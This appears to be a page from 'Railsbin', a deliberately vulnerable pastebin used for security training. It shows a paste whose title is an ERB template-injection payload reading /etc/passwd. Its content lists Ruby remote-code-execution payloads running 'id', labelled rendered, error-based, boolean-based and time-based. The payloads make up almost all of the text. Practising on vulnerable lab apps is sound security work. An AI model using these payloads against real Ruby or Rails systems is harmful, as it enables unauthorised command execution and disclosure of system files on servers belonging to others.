Railsbin – The vulnerable pastebin service!

User:

Title: <%= File.read("/etc/passwd") %>

Content:

%x('id') # Rendered RCE
File.read("Y:/A:/"+%x('id')) # Error-Based RCE
1/(system("id")&&1||0) # Boolean-Based RCE
system("id && sleep 5") # Time-Based RCE

Edit | Back